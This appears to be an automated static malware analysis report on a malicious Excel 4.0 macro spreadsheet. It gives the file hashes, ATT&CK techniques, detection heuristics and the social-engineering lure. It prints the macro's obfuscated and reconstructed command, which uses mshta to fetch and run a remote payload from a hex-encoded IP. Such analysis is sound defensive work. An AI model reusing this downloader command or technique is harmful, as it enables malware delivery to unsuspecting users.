Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d47b253d8fc82d83…

MALICIOUS

Office (OLE) / .XLS

64.0 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 733bfef60ec411ed9ee500243e62e4fa SHA-1: 5fecae82e96be2cdc8f3762f556a6a55d618c819 SHA-256: d47b253d8fc82d83e6cbe99ce3727eb682c050b95f50498f0cf8dc1413891616
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 Service Execution: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The document body contains a lure instructing the user to 'Enable Editing' and 'Enable Content' to view the content. The XLM macro defines a string 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and assigns it to the name 'lll'. This command is likely intended to download and execute a second-stage payload from the specified URL. The reconstructed command is 'cmd /c mshta http://0xc12a24f5/c.html'.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes